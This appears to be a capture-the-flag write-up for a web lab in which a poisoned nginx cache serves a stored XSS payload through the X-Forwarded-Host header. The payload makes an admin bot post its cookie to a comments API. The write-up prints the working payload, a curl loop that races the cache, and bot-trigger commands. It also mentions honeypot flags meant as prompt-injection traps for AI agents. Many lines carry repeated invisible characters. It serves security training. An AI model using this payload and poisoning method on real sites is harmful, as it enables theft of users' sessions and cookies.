← Back to Writeups
CUSTOMMediumWeb

Lab 181 — PostFlow — Stored XSS via Cache Poisoning

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_exploitation_via_pos#cache_race_timing_for_poisonin#honeypot_flag_identification#same_origin_cookie_exfiltratio#space_free_javascript_payload_#web_cache_poisoning_via_unkeye#xss_attribute_breakout_in_cano#linux

Lab 181 — PostFlow — Stored XSS via Cache Poisoning

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: admin_bot_exploitation_via_post_report, cache_race_timing_for_poisoning, honeypot_flag_identification, same_origin_cookie_exfiltration_via_comments_api, space_free_javascript_payload_construction, web_cache_poisoning_via_unkeyed_x_forwarded_host_header, xss_attribute_breakout_in_canonical_link_tag

Summary

Task: Express.js blogging platform behind nginx reverse proxy; X-Forwarded-Host header reflected unsanitized in canonical link tags, nginx caches responses with unkeyed X-Forwarded-Host, admin bot visits reported posts. Solution: poison nginx cache with XSS payload in X-Forwarded-Host header, trigger admin bot via post report, exfiltrate admin's flag cookie via same-origin comments API.

Lab 181 — PostFlow — Stored XSS via Cache Poisoning — Hackadvisor

Description

PostFlow is a modern blogging platform used by creative teams at FlowMedia Inc. to publish and manage content. The platform features public blog posts with rich metadata, reader comments, an admin dashboard for content moderation, and built-in page caching for performance. An admin bot periodically reviews all published posts to check for policy violations. Users can also report individual posts for expedited admin review. Your goal is to find a way to steal the admin's secret cookie and capture the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js blogging platform behind nginx/1.25.5 reverse proxy with page caching. Users can read posts, leave comments, and report posts for admin review (triggering an admin bot). The admin has a non-HttpOnly flag cookie. The goal is to steal this cookie via XSS.

Analysis

Application Stack

  • Backend: Express.js (PostFlow v2.3.1, visible in HTML comment: <!-- PostFlow v2.3.1 | Powered by Express.js | Cache-enabled -->)
  • Reverse proxy: nginx/1.25.5 with page caching enabled
  • Frontend: Bulma CSS framework
  • Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Endpoints

EndpointMethodPurpose
/post/:idGETIndividual blog post page (cached by nginx)
/api/comments?postId=NGETRead comments for a post
/api/commentsPOSTCreate comment ({postId, author, body})
/api/reportPOSTReport a post ({postId, reason}), triggers admin bot
/dashboardGETAuthenticated user dashboard
/adminGETAdmin panel (403 for non-admin)
/js/app.jsGETClient-side JS with revealing TODO comment
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

1. Host header reflection (source code hint):

The file /js/app.js contains a TODO comment:

"canonical URL generation should use config.siteUrl instead of trusting the request host header directly"

This directly hints that the request host is reflected in HTML output.

2. Unsanitized X-Forwarded-Host reflection:

Post pages contain <link rel="canonical"> and <meta property="og:url"> tags that reflect the X-Forwarded-Host header value without any HTML encoding: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

html
<link rel="canonical" href="http://INJECTED_HOST/post/1">
<meta property="og:url" content="http://INJECTED_HOST/post/1">

Quotes ("), angle brackets (<>), and all special characters pass through unsanitized — enabling attribute breakout and tag injection.

3. Nginx cache poisoning vector:

  • Post pages are cached with Cache-Control: public, max-age=~60s
  • Cache status visible via X-Cache: HIT/MISS and Age response headers
  • Critical: X-Forwarded-Host is NOT part of the nginx cache key — a poisoned response is served to ALL subsequent visitors of the same URL ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Admin bot and cookie exfiltration:

  • Reporting a post via /api/report triggers an admin bot to visit the reported post page
  • The admin has a flag cookie that is not HttpOnly — accessible via document.cookie
  • The comments API (/api/comments) is same-origin, so XSS can POST exfiltrated data without CORS issues

Failed Approaches

  1. Direct XSS in comment body (<script>alert(1)</script>) — HTML-escaped server-side to &lt;script&gt;
  2. Direct XSS in comment author (<img src=x onerror=alert(1)>) — also HTML-escaped
  3. Spaces in X-Forwarded-Host — causes the application to fall back to localhost:8080, breaking the injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

The application contains honeypot flags in HTML comments and hidden divs designed to trap automated tools:

html
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

These are not real flags — they are prompt injection traps for AI agents.

Solution

Step 1: Craft Space-Free XSS Payload

The X-Forwarded-Host header cannot contain spaces (spaces cause fallback to localhost:8080). The payload must break out of the href="..." attribute, inject a <script> tag, and exfiltrate cookies — all without spaces. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload:

"><script>fetch('/api/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:1,author:'xss',body:document.cookie})})</script><x

This produces the following HTML in the cached page:

html
<link rel="canonical" href="http://"><script>fetch('/api/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:1,author:'xss',body:document.cookie})})</script><x/post/1">

The "> closes the href attribute and <link> tag. The <script> block executes a same-origin POST to the comments API, writing document.cookie as the comment body. The trailing <x absorbs the remaining /post/1"> as an attribute of a harmless tag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Poison the Nginx Cache

Send the poisoned request repeatedly, waiting for a cache MISS (cache expires every ~60 seconds). When the request arrives during a MISS, the poisoned response gets cached and served to all subsequent visitors:

bash
URL="https://d414d991-596f-4415-859b-b39254bd46a4.labs.hackadvisor.io"
PAYLOAD='X-Forwarded-Host: "><script>fetch('"'"'/api/comments'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({postId:1,author:'"'"'xss'"'"',body:document.cookie})})</script><x'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for i in $(seq 1 200); do
  RESULT=$(curl -s "$URL/post/1" -H "$PAYLOAD" -D /dev/stderr 2>&1)
  XCACHE=$(echo "$RESULT" | grep -i "x-cache" | head -1)
  if echo "$XCACHE" | grep -q "MISS"; then
    echo "Cache MISS detected — poisoned response cached!"
    sleep 0.3
    # Verify the poisoned page is being served
    curl -s "$URL/post/1" | grep "script>fetch" && echo "CONFIRMED: XSS payload in cached response"
    break
  fi
  sleep 0.3
done

Step 3: Trigger Admin Bot

Report the poisoned post to make the admin bot visit it: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b cookies.txt -X POST "$URL/api/report" \
  -H "Content-Type: application/json" \
  -d '{"postId":1,"reason":"Inappropriate content"}'

Response:

json
{"success":true,"message":"Thank you for your report. An administrator will review this post shortly."}

Step 4: Retrieve Exfiltrated Cookie

After ~10 seconds, the admin bot visits the poisoned page. The cached XSS executes in the admin's browser, posting document.cookie as a comment. Read it back:

bash
curl -s -b cookies.txt "$URL/api/comments?postId=1" | python3 -m json.tool

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

json
[
  {
    "id": 23,
    "post_id": 1,
    "author_name": "xss",
    "body": "flag=FLAG{REDACTED}",
    "created_at": "2026-05-23T..."
  }
]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍